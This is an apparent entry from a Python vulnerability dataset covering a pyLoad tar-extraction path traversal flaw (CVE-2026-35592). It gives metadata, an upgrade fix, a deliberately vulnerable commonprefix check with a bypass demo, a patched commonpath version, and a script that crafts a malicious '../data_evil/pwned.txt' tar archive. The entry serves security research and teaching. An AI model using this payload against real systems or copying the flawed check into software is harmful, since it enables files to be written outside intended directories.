VAITP Dataset

← Back to the dataset

CVE-2026-35592

pyLoad UnTar path traversal allows writing files outside the directory.

  • CVSS 6.5
  • CWE-22
  • Input Validation and Sanitization
  • Remote

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97.

CVSS base score
6.5
Published
2026-04-07
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
pyLoad
Fixed by upgrading
Yes

Solution

Upgrade pyLoad to version 0.5.0b3.dev97 or later.

Vulnerable code sample

import os
import tarfile
import io
import tempfile
import shutil

# This code demonstrates a vulnerability similar to the one described in
# CVE-2026-35592 for pyLoad. It represents the vulnerable logic before
# the fix was applied.
# The core of the vulnerability is the use of `os.path.commonprefix` for
# path traversal checks, which is unsafe because it performs a character-by-character
# string comparison rather than a path-aware comparison.


def vulnerable_safe_extractall(archive, path):
    """
    This function represents the vulnerable _safe_extractall from pyLoad's UnTar.py.
    It uses the flawed `os.path.commonprefix` to validate extraction paths.
    """
    root = os.path.abspath(path)
    print(f"[*] Intended extraction root: {root}")
    print("-" * 30)

    for member in archive.getmembers():
        # Calculate the intended destination path for the member
        dest_path = os.path.abspath(os.path.join(root, member.name))

        # THE VULNERABLE CHECK
        # An attacker can craft a member name such that `dest_path` resolves to a
        # location outside of `root`, but `dest_path` still shares `root` as a
        # common string prefix.
        # Example:
        # root = "/tmp/data"
        # dest_path = "/tmp/data-evil/file.txt"
        # os.path.commonprefix(["/tmp/data", "/tmp/data-evil/file.txt"]) is "/tmp/data"
        # The check passes, but the path is outside the root directory.
        if os.path.commonprefix((root, dest_path)) != root:
            # This block should catch malicious paths, but it will fail to do so.
            print(f"[+] SKIPPED (as expected for safe path): {member.name}")
        else:
            # This block is incorrectly executed for the malicious path,
            # bypassing the security check.
            print(f"[!] VULNERABILITY TRIGGERED")
            print(f"    Member: '{member.name}'")
            print(f"    Final Path: '{dest_path}'")
            print(f"    -> The check passed because os.path.commonprefix found '{root}' as a prefix.")
            print(f"    -> The file would be written outside the intended directory.")


# --- Demonstration of the Exploit ---

# 1. Set up a temporary directory structure for the demonstration.
#    The names are chosen to facilitate the common prefix attack.
temp_base_dir = tempfile.mkdtemp()
extraction_root = os.path.join(temp_base_dir, "safe_dir")
os.makedirs(extraction_root, exist_ok=True)

# 2. Define the malicious path to be included in the tar archive.
#    When joined with `extraction_root`, this path will traverse up (`..`)
#    and then into a new directory that shares a common prefix with the original.
malicious_filename = os.path.join("..", "safe_dir-evil", "pwned.txt")

# 3. Create a malicious tar archive in memory.
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
    print(f"[*] Crafting tar archive with malicious member: '{malicious_filename}'")
    file_data = b"This file was written outside the safe directory."
    tarinfo = tarfile.TarInfo(name=malicious_filename)
    tarinfo.size = len(file_data)
    tar.addfile(tarinfo, io.BytesIO(file_data))
tar_buffer.seek(0)

# 4. Run the vulnerable extraction function and observe the bypass.
with tarfile.open(fileobj=tar_buffer, mode='r') as tar:
    vulnerable_safe_extractall(tar, extraction_root)

# 5. Clean up the temporary directories.
shutil.rmtree(temp_base_dir)

Patched code sample

import os
import tarfile
from io import BytesIO

# A placeholder for the _() translation function used in the original source
def _(text):
    return text

class UnTarPlugin:
    """
    A simplified representation of the pyLoad UnTar plugin to demonstrate the fix.
    """
    # A mock logger method for demonstration purposes
    def log_warning(self, message):
        print(message)

    def extract(self, archive_path, to_path):
        """
        Mock extraction process.
        """
        with tarfile.open(archive_path) as tar:
            # The vulnerable call would have been to a function using os.path.commonprefix
            # This demonstrates the fixed implementation.
            self._safe_extractall(tar, to_path)

    def _safe_extractall(self, tar, path="."):
        """
        This method contains the fix for the path traversal vulnerability.
        The vulnerable version used `os.path.commonprefix`. The fixed version
        correctly uses `os.path.commonpath` to perform a path-level comparison,
        preventing directory traversal attacks.
        """
        destination = os.path.abspath(path)
        for member in tar.getmembers():
            member_path = os.path.abspath(os.path.join(destination, member.name))

            # THE FIX: Use `os.path.commonpath` for path-level safety instead of
            # the string-based `os.path.commonprefix`.
            if os.path.commonpath([destination, member_path]) != destination:
                self.log_warning(
                    _("Path traversal attempt blocked for tar member `{name}`").format(
                        name=member.name))
            else:
                # In the actual application, the member would be extracted here.
                # For example: tar.extract(member, path=destination)
                print(f"Safely extracting: {member.name}")
                pass

Payload

import tarfile
import io
import os

# This script generates a malicious tar archive that exploits CVE-2026-35592.
# The payload is designed to bypass the os.path.commonprefix check.
# To trigger the vulnerability, the archive must be extracted into a directory
# whose name is a prefix of the directory in the crafted path.
# For example, extracting this into a directory named 'data' will cause
# the payload to be written outside of it.

# Malicious path structure: ../<extraction_dir_name>_suffix/<filename>
# Example for extraction into './data': ../data_evil/pwned.txt
#
# The vulnerable check:
# commonprefix(('/path/to/data', '/path/to/data_evil/pwned.txt')) -> '/path/to/data'
# The check incorrectly passes, allowing traversal.

# The name of the directory the victim will extract into. We assume 'data'.
TARGET_DIR_NAME = "data"
PAYLOAD_FILENAME = "pwned.txt"
PAYLOAD_CONTENT = b"This file was written outside the extraction directory."

# Craft the malicious path
malicious_path = os.path.join(f"../{TARGET_DIR_NAME}_evil", PAYLOAD_FILENAME)

# Create the malicious tar file in memory
f_mem = io.BytesIO()
with tarfile.open(fileobj=f_mem, mode='w') as tar:
    tarinfo = tarfile.TarInfo(name=malicious_path)
    tarinfo.size = len(PAYLOAD_CONTENT)
    tar.addfile(tarinfo, io.BytesIO(PAYLOAD_CONTENT))

# Write the in-memory tar file to disk
with open("payload.tar", "wb") as f_disk:
    f_disk.write(f_mem.getvalue())

Cite this entry

@misc{vaitp:cve202635592,
  title        = {{pyLoad UnTar path traversal allows writing files outside the directory.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-35592},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-35592/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::